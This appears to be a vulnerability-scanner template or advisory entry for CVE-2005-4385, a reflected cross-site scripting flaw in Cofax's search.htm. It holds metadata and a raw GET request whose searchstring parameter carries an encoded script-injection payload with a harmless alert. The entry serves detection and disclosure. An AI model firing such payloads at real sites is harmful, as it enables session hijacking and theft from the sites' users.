| Title | Cofax <=2.0RC3 - Cross-Site Scripting |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to a version of Cofax that is not affected by this vulnerability or apply the necessary patches provided by the vendor. |
| CVSS Score | 4.3 |
| EPSS Score | 0.00373 |
| CVE ID | CVE-2005-4385 |
| CWE ID | NVD-CWE-Other |
| Tags | cve2005 cve cofax xss vuln |
Cofax 2.0 RC3 and earlier contains a cross-site scripting vulnerability in search.htm which allows remote attackers to inject arbitrary web script or HTML via the searchstring parameter.
GET /search.htm?searchstring2&searchstring=%27%3E%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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